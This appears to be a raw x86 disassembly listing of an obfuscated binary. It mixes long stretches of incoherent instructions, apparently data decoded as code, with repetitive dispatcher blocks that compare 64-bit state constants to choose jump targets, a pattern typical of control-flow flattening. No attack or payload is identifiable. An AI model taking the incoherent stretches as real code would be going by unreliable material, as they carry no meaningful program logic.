js 0x68305c5f
and dword [ebp - 0x428798eb], eax
xor al, byte [edi - 0x3fca22b1]
push ecx
sbb eax, 0x8aa3f2ab
and byte [eax + 0x7339800d], ah
je 0x68305cf9
cmp esi, dword fs:[eax]
adc esi, edi
cmp dword [ebx - 0x46b2c9ab], 0xeb0b101e
jbe 0x68305c87
jle 0x68305c63
jae 0x68305cae
mov ah, 0x31
cmp eax, 0x411233db
dec ecx
cmp ebp, dword [edi]
dec ecx
jne 0x68305c9c
insb byte es:[edi], dx
movsb byte es:[edi], byte [esi]
jae 0x68305d49
mov byte [ebx - 0xece1423], dh
jecxz 0x68305ca8
rcl byte [esp + edx*8 + 1], cl
int3
inc edx
adc eax, 0xa0c3ef02
push ds
sbb dl, bl
sti
int3
movsb byte es:[edi], byte [esi]
pop eax
add dh, byte [esi]
xchg dword [ecx], ebp
pop ebp
in eax, dx
cmp bl, byte [ecx]
salc
sub eax, 0xd91b956
cmpsb byte [esi], byte es:[edi]
dec ebx
jl 0x68305cff
pushfd
insd dword es:[edi], dx
nop
int3
hlt
and al, 0x1f
add byte [eax], al
imul ecx, dword [esp], 0x1f
xor edx, dword [edi - 0x1fd7d46d]
mov esi, 0x7c7e369a
jge 0x68307164
jb 0x683071a9
rol byte [ecx + 0x21c67872], 0xa1
pop ds
jge 0x68307159
jns 0x6830712d
ljmp 0xd25d:0xbb2afcbf
test eax, 0x4be64f5
mov byte [ecx + esi*8 - 0x19], cl
out 0x99, eax
cdq
dec eax
lodsd eax, dword [esi]
invalid
xchg ebp, eax
cmp eax, 0x25320d13
movsb byte es:[edi], byte [esi]
fcomp dword [ecx - 0x25]
add dword [eax + ecx*2 - 0x3b], ebp
xchg ebx, eax
invalid
push es
stosd dword es:[edi], eax
aad 0x1e
int1
or cl, byte [0x8e695b8c]
rcr dword [eax], cl
ljmp 0x72e6
imul ecx, dword [esi - 0x5915e72d], 0xe6ee7a13
jb 0x68307b8a
jp 0x68307b47
out 0x72, al
mov dl, 0x7a
mov dl, 0x7a
mov word [esi - 0x3f225beb], fs
cmp al, 0x70
pop edx
invalid
nop
int3
sub byte [edi], dh
xor eax, 0x17711ab3
jo 0x68307b57
inc ebx
mov ecx, cs
loope 0x68307bff
or al, byte [esi]
xchg ebx, eax
fbld tbyte [ebp + eax*2 + 0x60c5c54]
cmc
int 0x48
pop ss
int1
in al, 0xd8
aaa
fld xword [edx - 0x6ec672fd]
inc edx
mov al, 0x6c
fisttp word [eax - 0xb6732fb]
xchg edx, eax
add eax, 0x92f498cd
jmp 0x68307b50
out dx, eax
sbb eax, 0xbac42d07
push ax
dec ebp
in eax, 0xe0
rol edi, 0x68
mov dword [0xa9571729], eax
aad 0xd
jns 0x68307bbd
cmp al, 0x40
fstp dword [ecx]
fdivr dword [esi - 0x67]
inc eax
int1
imul edi, dword [edx - 0x5c], 0x5e1a1f61
sar byte [eax - 0x33cf48b9], 1
adc eax, 0xe0b945ce
add al, 0xb9
xchg ecx, eax
add byte [edx + ebx*2 + 0x3a], dl
dec ecx
lcall 0x1d66, 0xe8d9
add eax, 0x1654f1d2
mov ecx, 0x5a540091
cmp cl, byte [ecx + 0x66]
lcall 0xd205, 0x1d66e8d9
int1
push esp
push ss
dec ebx
scasb al, byte es:[edi]
in al, dx
int 0x81
mov ah, 0xdc
sal byte [ecx*4 + 0x172dcc6], 0x2c
repne outsb dx, byte [esi]
mov bl, byte [esi + 0x69]
mov byte [0xd779d2cd], al
jae 0x68307c32
fsubr dword [ebx + ecx]
sbb dword [ebp + 0x475d65e3], edx
xor ebp, dword [eax - 0x30]
mov al, 0xaa
xchg ebx, eax
leave
add dword cs:[ecx - 0x564ca766], edx
xchg esi, eax
lahf
lahf
mov dh, 0xfc
jae 0x68307c7a
dec esi
nop
int3
add eax, 0x1e88b2ae
adc dword [ebp + 0x11], 0xffffffdf
fisttp dword [esi + 0x23]
invalid
nop
jmp 0x68340b04
nop
jmp 0x68340b04
mov dword [ebp - 0xa8], 0xcbbf1
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xb0], 0x4e7d5
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0xa8]
mov ebx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb8]
xor eax, 0x11a3c6
or eax, dword [ebp - 0xb4]
je 0x68317949
mov edx, 0x11a3c6
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xee6e5
or eax, dword [ebp - 0xb4]
je 0x68316eec
mov edx, 0xee6e5
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xdb06f
or eax, dword [ebp - 0xb4]
je 0x68311bec
mov edx, 0xdb06f
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xd7e5d
or eax, dword [ebp - 0xb4]
je 0x6830950c
mov edx, 0xd7e5d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xd5d10
or eax, dword [ebp - 0xb4]
je 0x6830f26c
mov edx, 0xd5d10
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xcab19
or eax, dword [ebp - 0xb4]
je 0x6830c8ec
mov edx, 0xcab19
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xc9200
or eax, dword [ebp - 0xb4]
je 0x68313b0c
mov edx, 0xc9200
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xc91d0
or eax, dword [ebp - 0xb4]
je 0x6830b42c
mov edx, 0xc91d0
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xbecae
or eax, dword [ebp - 0xb4]
je 0x68315a2c
mov edx, 0xbecae
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xbeb2b
or eax, dword [ebp - 0xb4]
je 0x6830a9cc
mov edx, 0xbeb2b
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0xac109
or eax, dword [ebp - 0xb4]
je 0x6831264c
mov edx, 0xac109
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x9ac94
or eax, dword [ebp - 0xb4]
je 0x6831456c
mov edx, 0x9ac94
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x891cc
or eax, dword [ebp - 0xb4]
je 0x6830e80c
mov edx, 0x891cc
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x78ef8
or eax, dword [ebp - 0xb4]
je 0x68309f6c
mov edx, 0x78ef8
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x76f9a
or eax, dword [ebp - 0xb4]
je 0x6830ddac
mov edx, 0x76f9a
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x7626c
or eax, dword [ebp - 0xb4]
je 0x683130ac
mov edx, 0x7626c
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x6bdaa
or eax, dword [ebp - 0xb4]
je 0x6830be8c
mov edx, 0x6bdaa
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x68e7f
or eax, dword [ebp - 0xb4]
je 0x6831648c
mov edx, 0x68e7f
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x38582
or eax, dword [ebp - 0xb4]
je 0x6830fccc
mov edx, 0x38582
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x328f4
or eax, dword [ebp - 0xb4]
je 0x68314fcc
mov edx, 0x328f4
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x2b92d
or eax, dword [ebp - 0xb4]
je 0x6831118c
mov edx, 0x2b92d
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x6831794c
mov eax, dword [ebp - 0xb8]
xor eax, 0x9d2b
or eax, dword [ebp - 0xb4]
je 0x6831072c
mov eax, dword [ebp - 0xb8]
xor eax, 0x1b1aa
or eax, dword [ebp - 0xb4]
je 0x6830d34c
jmp 0x6831794c
push 0xffffffffffffff85
xchg esp, eax
hlt
sar dword [edx], cl
mov cs, word [ecx - 0x447d9e04]
invalid
wait
or dword [eax + 0x6ded4066], ebp
dec esp
sub al, 0x9e
outsb dx, byte [esi]
pop ss
push es
xor esp, dword [ebx]
inc edx
inc ecx
dec eax
mov bh, 0xa1
add edx, dword [edx - 0x336bb590]
xchg edi, eax
ja 0x68309f0a
or ecx, dword [ecx]
pop esp
mov esp, dword [eax]
jmp 0xe3d9d3e8
lds ecx, [bx + di + 0x6576]
popfd
adc al, 0x21
sub cl, bl
adc dword [edi - 0x3396c5b6], 0x95d7287a
cmp ch, byte [ecx - 0x34]
jp 0x6830a9a9
xlatb
xchg ebp, eax
das
mov edi, 0xa788e866
int 0xd5
jle 0x6830a96e
jecxz 0x6830a9aa
test ch, bh
outsd dx, dword [esi]
fld dword [eax]
adc dh, byte [ebp + 0x6c]
mov dword [0x70c4036a], eax
invalid
mov al, 0xd9
fstp qword [ecx + 0x50]
xchg esi, eax
inc ecx
mov esp, 0xbdb43b1a
mov ah, 0xbd
mov ebp, 0x2ca183b0
push ss
mov dword [ebp - 0x222f4ab3], edx
das
scasb al, byte es:[edi]
cld
shr byte [eax + 0x7c5b6329], 1
or eax, 0x2307918
or dword [eax - 0x307e1634], edx
add byte [eax], al
mov al, 0x83
mov eax, dword [0x9589162c]
dec ebp
mov ch, 0xd0
invalid
jb 0x6830a97c
dec ecx
jmp 0x6830a99e
pushal
invalid
ficom dword [ecx]
fdivrp st(1)
xor al, 0xbd
in eax, dx
inc edi
std
fimul dword [esi + 0x12a7b4e6]
into
insd dword es:[edi], dx
outsb dx, byte [esi]
pop edi
xor bh, byte [edx + 7]
movsb byte es:[edi], byte [esi]
clc
adc byte [ebp + 0x4697bb8], dl
and eax, 0x3def1f5a
inc edi
mov dword [ecx - 0x7c], 0xa99b5f2b
cmp eax, 0xeb58068f
pop ss
sub dh, byte [eax + 0x6f2ff01c]
aas
jle 0x6830b3b3
insb byte es:[edi], dx
xchg esi, eax
invalid
pop ds
push 0x4fbff3f8
ja 0x6830b48d
aad 0xa0
loop 0x6830b3e5
and dword [ebp - 0x2b], esp
sub dword [eax], 0xb77a2c63
pop edx
inc esi
mov byte [0x3726b932], al
jmp 0x1977337e
invalid
xchg edi, eax
adc eax, 0xb6d6fa77
or al, 0xe9
outsb dx, byte [esi]
or dword [edi], ebx
adc al, byte [ebp + 0x584dfcbf]
mov dl, dl
mov esp, 0x934c79a4
or cl, byte [ebp + 0x5c83fbb4]
mov byte [0xc9817bf3], al
test dword [esi + esi*8 - 0xd], ecx
fsubr qword [edx - 0x125daf2d]
add dh, al
adc ebx, dword [ebp + 0x2e]
addps xmm1, xmmword [esi]
xchg ecx, eax
sbb dl, byte [ebp - 0x52325123]
cdq
out dx, al
aad 0xe9
and bh, ah
jecxz 0x6830bf35
sbb dword ss:[ebx + 0x73], ebp
lea ebp, [edi]
enter 0xffffffffffff8cdc, 0xffffffffffffffe8
dec esi
das
add ebp, esi
xor esi, dword [ebx + edx + 0x757e648e]
pop es
sbb eax, 0x23489d23
jecxz 0x6830bf19
jae 0x6830bf49
xchg edi, eax
les ebp, [ebp + 0x57cb85e2]
mov byte [0xfc3842fe], al
invalid
arpl ax, sp
out 0x49, ax
adc byte [edx + 0xf], ch
fcomp qword [esi + 0x5db04514]
mov esp, 0x9b5c8a79
cli
sub edi, 0x7e39b4bf
je 0x6830bfa2
insb byte es:[edi], dx
push ecx
dec esi
int3
invalid
inc ebp
stosd dword es:[edi], eax
cmp ax, si
int3
js 0x6830bf59
invalid
xor dh, byte [ebp + 0x18260845]
mov al, byte [0xb2e4df74]
xchg edx, eax
outsb dx, byte [esi]
or al, 0x8a
test al, 0x8a
and byte [edx + 0x14], bh
mov bl, 9
or eax, 0xbe4fe4b6
mov esi, 0x1334e6b0
dec ebp
aad 0x89
or eax, 0xbac40b66
sub dl, byte [eax]
std
mov dl, cl
outsb dx, byte [esi]
invalid
cmp dl, 0x22
cmc
or ah, byte [ebx + 0x56]
stosd dword es:[edi], eax
sal byte [edx + 0x22bcc549], cl
nop
push 0xf8925a07
arpl word [ebx], bx
sub dword [edi + 0x3aa712fd], 0xa9cd6c0f
aad 0xfa
dec edx
mov eax, 0x943bd16c
popal
loopne 0x6830d3a9
and dword [edx - 0x4d67d646], ebp
bound ebx, qword [ebp + 0x2bc7fc70]
test dword [ebx + edi + 0x2e52b532], ebp
cmpsd dword [esi], dword es:[edi]
mov dh, 0xd8
in eax, 0x7e
leave
sub eax, dword [edi + 0x27874024]
dec esp
push 0xffffffffffffffa9
mov bl, 0xfb
inc esi
out 0x8f, eax
mov esi, 0x5b8dc6bc
leave
pop es
scasd eax, dword es:[edi]
pop ss
xchg edi, eax
mov edx, 0x1f8a911
push ss
mov ebp, 0xf62f4e3a
push 0xffffffffffffffc0
neg dh
sar dword [esi + 0x5f], cl
imul esi, dword [ebp + 0x4d9ff747], 0x25
std
enter 0x52e6, 0xffffffffffffffe0
stosd dword es:[edi], eax
jmp 0x7e8ea776
cmp byte [ecx + 0x2a], dl
fadd qword [eax - 0x4090e1f]
invalid
sub al, 0x8b
sub bh, byte [ebx]
xchg ebx, eax
ret
and edx, dword [eax]
ror cl, 0xb7
and esp, edx
xor dword [ebx + ebx*8 + 0x6a], ebp
iretd
mov dl, 0x34
rcr dword [ecx - 0x70], cl
mov esp, 0x4dcf5fdd
loope 0x6830fd24
push ebx
or byte [esp - 0x70], cl
int3
or byte [eax + ebx*8], cl
inc ecx
mov edx, 0x99ed9773
push edx
stosb byte es:[edi], al
cmp al, 0x62
or byte [ebx + esi*2 + 2], bh
imul ebp, dword [eax - 0x17bc8f71], 0xb9c7d769
mov ebp, 0x11a63b5a
pop ecx
inc ebp
rol dword [esi], cl
push ss
push edx
mov ecx, 0xd8225a61
out 0x18, al
pop edi
dec ebp
cmp bh, byte [esi]
fadd qword [ecx - 0x37]
loop 0x6830fd32
loop 0x6830fcb3
cwde
lahf
xor eax, 0xffffff9d
inc edx
dec ebp
or eax, 0x52f0309a
arpl word [ecx - 0x2e], bx
loop 0x6830fcf8
mov dl, 0x8c
and cl, ch
movsb byte es:[edi], byte [esi]
pop ebp
insb byte es:[edi], dx
cmp cl, byte [edx]
adc byte [ebx + ebx*4 + 6], dl
mov dl, 0x58
pop eax
pop esp
scasd eax, dword es:[edi]
test al, 0xd0
invalid
xchg ebp, eax
push es
cmpsd dword [esi], dword es:[edi]
add al, byte [esi]
stosd dword es:[edi], eax
invalid
xor al, 0x50
ljmp 0x635d
mov dword [0x40b2ea22], eax
insb byte es:[edi], dx
push eax
in al, dx
xor dl, bh
mov cl, dh
and bl, byte [edi + 0x4c45e72e]
shr dword [ebp - 0x6d], cl
dec esp
jle 0x683111cf
outsb dx, byte [esi]
leave
xor al, dh
invalid
scasd eax, dword es:[edi]
adc ecx, dword [eax]
xchg edi, eax
sbb dword [edx - 0x37], edi
invalid
xor esi, eax
fdivp st(1)
push ecx
dec ebp
popaw
mov word [esi], cs
mov byte [0x1b227742], al
jge 0x68311b93
mov al, byte [0xee14d31]
sahf
invalid
rol byte [ebx], 1
in al, 0x4c
xor eax, 0x204c96c3
inc ebx
call 0x87ca040a
mov ch, 0xf9
in eax, dx
push esp
lea eax, [ecx - 0xb23d514]
jae 0x68311bbb
aas
xor dh, ch
int3
pop ecx
std
loope 0x68311b59
test byte [esi + 0x29f3adf2], ah
xor eax, 0x29f3adf2
nop dword [esi + 0x6a6cebea]
enter 0x6534, 0xffffffffffffffef
or al, 0x85
and al, byte [edi]
or al, ch
mov ebp, 0x666ecdc0
les esi, es:[eax]
jo 0x68311be5
outsb dx, byte [esi]
jp 0x68311c47
push 0x717fd7d9
test byte [ebx + 0x61e9cc90], 0x5d
add byte [eax], al
nop
int3
mov esp, 0xf18e4d42
sahf
lcall 0xca94, 0x2da3b81d
xchg edx, eax
push esp
mov esp, 0xb5477aa5
jl 0x68311bb5
inc ebx
std
jp 0x68311bb5
add al, 0x16
invalid
cmp bl, byte [ebp - 0x679ee7a9]
lodsb al, byte [esi]
outsd dx, dword [esi]
and al, 0x2a
scasd eax, dword es:[edi]
mov ebp, 0x3f050f32
enter 0xffffffffffff9534, 0xffffffffffffff80
inc edx
lds esp, [ecx - 0x48]
lcall 0xc4f3, 0x237d0e9a
cmpsd dword [esi], dword es:[edi]
hlt
in eax, dx
push edi
sar dword [ebp + 0x3c], cl
les ecx, [esi]
ret 0xa26d
insd dword es:[edi], dx
lcall 0x2aa6, 0xdd7700bb
jae 0x683130ac
into
in eax, 0x7c
hlt
mov al, 0x5c
push 0xefefbe3f
hlt
cld
inc ebp
inc esp
cmc
xchg ebp, eax
and al, byte [ebx - 0x24a17cbb]
xchg ecx, eax
int 0x4e
push cs
jecxz 0x68313a92
inc ebx
push ss
int3
cmp byte [eax - 0x3a], bh
inc esp
cmp cl, byte [edx - 0x313c73ab]
jo 0x68313a2e
int1
rol dword [ecx], 1
salc
lea ecx, [ecx + 0x65642ddb]
retf 0xf8e9
in eax, dx
and dword [ebx], ebp
sub eax, 0xf2de5bf
cmp eax, 0xf6b02f93
clc
mov edx, 0x4c242e44
dec esp
add eax, 0x79f010ab
or dword [eax + 0x66], edi
jge 0x68313a63
xor eax, 0x58ca8aea
xchg edi, eax
cld
mov edi, 0xb68cdc77
xchg ebx, eax
pop ds
int3
add byte [ebx - 0x1b], cl
mov cl, 0xe3
push esp
dec ebx
in eax, 0xb1
jecxz 0x68313b65
clc
mov esp, 0x29cfded5
or byte [edx], bh
pop edi
mov ah, 0x8e
cmp dword [edx + 0xa], edi
das
pushfd
fnstsw word [edi - 0x2c]
xlatb
add ecx, eax
into
xor dh, byte [0xbb22cf23]
scasd eax, dword es:[edi]
int1
add byte [edx - 0x2cc8bc08], ch
push edi
loope 0x68313ace
js 0x68313b0b
jno 0x68313ac0
jp 0x68313b5c
sbb byte [esi + 6], 0x35
ror byte [ecx - 0x1cf03568], cl
scasd eax, dword es:[edi]
outsb dx, byte [esi]
pop eax
pushfd
ror byte [esi - 0x3b16126], cl
movsd dword es:[edi], dword [esi]
wait
lodsd eax, dword [esi]
js 0x68313ba6
out 0x80, al
out dx, eax
adc dword [ecx], 0xffffffba
push ebx
dec eax
mov ecx, 0x1676df9
jbe 0x68313b73
add dword [0x976], ebp
int3
mov ch, 0x6f
invalid
pop edi
xchg esi, eax
xor esp, esi
sub al, 0x11
int 0x37
xchg esp, eax
push cs
add byte [esi], ah
pop ebx
adc esi, esp
scasb al, byte es:[edi]
loope 0x68313c12
push ds
movsb byte es:[edi], byte [esi]
ficomp dword [edx]
add ebp, 0x9661529
pop ss
pushal
or ebx, dword [ecx + 0xc344e10]
lcall 0xee7d, 0x163b4e37
sar dword [edx], cl
push ds
sub al, 0xac
push cs
pop ebp
sub edx, dword [ecx - 0x26]
das
inc edi
ljmp 0x41d3
inc ebx
movsb byte es:[edi], byte [esi]
mov dword [0x3e26be97], eax
or cl, byte [edx]
sub cl, byte [edi + 0x387be03c]
xlatb
mov cl, 0xf3
outsb dx, byte [esi]
dec edi
test al, ch
cmp dword [edx - 0x2b], esi
mov al, byte [0x46964c40]
jne 0x68313c64
or byte [edx - 0x10cc0206], al
xchg ebp, eax
insb byte es:[edi], dx
push esp
shl bl, 1
push 0x6d4ace16
out 0x63, eax
cwde
add byte [edx - 0x75], dh
push ebx
add al, 0x82
mov edx, 0xe090bd7
imul eax, dword [ebx + ecx], 0xbf76a6b
or dword [edx], 0x38
pop ds
dec ebx
stosb byte es:[edi], al
iretd
inc ebx
sub ch, byte [edi]
mov ecx, 0xdf3af655
dec esi
dec ecx
sbb byte [edx - 0x2dfd410b], cl
iretd
or eax, 0x8a196ce2
imul edi, dword [edx + ebp*4], 0xd705190d
cld
mov dl, 0xa0
cmpsd dword [esi], dword es:[edi]
push esi
movsb byte es:[edi], byte [esi]
imul esi, dword [edi], 0xffffff91
int 0x28
insb byte es:[edi], dx
wait
inc ebx
xor eax, 0xdcb09f3b
jl 0x683145a9
loope 0x68314600
mov dword [0x6b53b06f], eax
iretd
ror byte [ecx - 0x53], 0x9e
mov dl, byte [esi + edx*8]
invalid
mov al, byte [0x41f59ed7]
adc al, 0x2b
cld
mov edi, 0xf33c4222
add dword [esi + esi + 0x59bde3ce], eax
adc ah, dl
push esi
sti
pop esp
or al, 0x59
jmp 0x683145a9
mov ebx, 0x1008a678
add ecx, dword [ecx]
jmp 0x6bbe428e
dec ebp
jb 0x68314fa2
call 0xdb3f73b4
mov ecx, 0x264efeb3
ret 0xd1ae
and al, 0xa7
aas
xor edi, ecx
fdiv dword [ecx + 0x16]
push ss
jb 0x68314f26
into
jbe 0x68314f6a
or ch, byte [ecx]
aaa
sub al, 0xc9
sub al, 0x60
push edi
into
dec eax
ljmp 0xfa94
push ebp
nop
int3
and dword [edi + 0x602aae13], eax
cmc
mov word [esp - 0x6056b79d], ss
jle 0x68314fc4
xchg dh, al
xchg esi, eax
mov byte [0x44bd5e12], al
push eax
popfd
scasb al, byte es:[edi]
pop ebp
fmulp st(3)
xchg dword [ecx - 8], edx
or dword es:[ebx - 0xc], eax
jo 0x68314f9b
dec esp
push eax
retf
invalid
cmp dword [ecx + 0x11], 0x584abd8e
mov esp, 0x6ce7e8f2
test byte [eax - 0x32e6f830], 0x24
or al, 0xac
pop ds
xchg edx, eax
nop
mov edx, 0xdfea7072
xchg esi, eax
aam 0xf8
xchg ecx, eax
nop
or eax, 0x31b077fa
retf 0x6663
or ch, byte [eax - 0x4e]
aam 0x4f
mov al, 0xf1
invalid
nop
jmp 0x6831794d
nop
add dword [ebp - 0x10], 2
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
add dword [ebp + 0xc], 2
mov edx, dword [ebp + 0xc]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
jne 0x6832b7ca
cmp word [ebp - 0xa], 0
jne 0x68326299
mov dword [ebp - 0xd8], 0xc0240
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0x94af1
mov dword [ebp - 0xdc], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0xe0]
mov edx, eax
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0xd8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xd8]
mul dword [ebp - 0xe0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0x98349e40
mov edx, dword [ebp - 0xe4]
xor edx, 0x6f
or eax, edx
je 0x6832628d
mov edx, 0x98349e40
mov eax, 0x6f
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xe0a74
or eax, dword [ebp - 0xe4]
je 0x68324370
mov edx, 0xe0a74
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xd690f
or eax, dword [ebp - 0xe4]
je 0x68319d70
mov edx, 0xd690f
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xcecc8
or eax, dword [ebp - 0xe4]
je 0x68322eb0
mov edx, 0xcecc8
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xc760a
or eax, dword [ebp - 0xe4]
je 0x6831c6f0
mov edx, 0xc760a
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xc56be
or eax, dword [ebp - 0xe4]
je 0x68320530
mov edx, 0xc56be
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xc40e8
or eax, dword [ebp - 0xe4]
je 0x683188b0
mov edx, 0xc40e8
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xbaa86
or eax, dword [ebp - 0xe4]
je 0x6831a7d0
mov edx, 0xbaa86
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xb5120
or eax, dword [ebp - 0xe4]
je 0x6831dbb0
mov edx, 0xb5120
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xab9c3
or eax, dword [ebp - 0xe4]
je 0x6831e610
mov edx, 0xab9c3
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xaa725
or eax, dword [ebp - 0xe4]
je 0x68323910
mov edx, 0xaa725
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0xa7e3e
or eax, dword [ebp - 0xe4]
je 0x68325830
mov edx, 0xa7e3e
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x899c2
or eax, dword [ebp - 0xe4]
je 0x68317e50
mov edx, 0x899c2
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x7f03e
or eax, dword [ebp - 0xe4]
je 0x68324dd0
mov edx, 0x7f03e
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x6454e
or eax, dword [ebp - 0xe4]
je 0x68320f90
mov edx, 0x6454e
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x563e8
or eax, dword [ebp - 0xe4]
je 0x6831fad0
mov edx, 0x563e8
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x4f1ff
or eax, dword [ebp - 0xe4]
je 0x6831d150
mov edx, 0x4f1ff
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x4d8d6
or eax, dword [ebp - 0xe4]
je 0x68322450
mov edx, 0x4d8d6
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x4bb0d
or eax, dword [ebp - 0xe4]
je 0x6831b230
mov edx, 0x4bb0d
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
mov eax, dword [ebp - 0xe8]
xor eax, 0x4b843
or eax, dword [ebp - 0xe4]
je 0x6831bc90
mov edx, 0x4b843
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x68326293
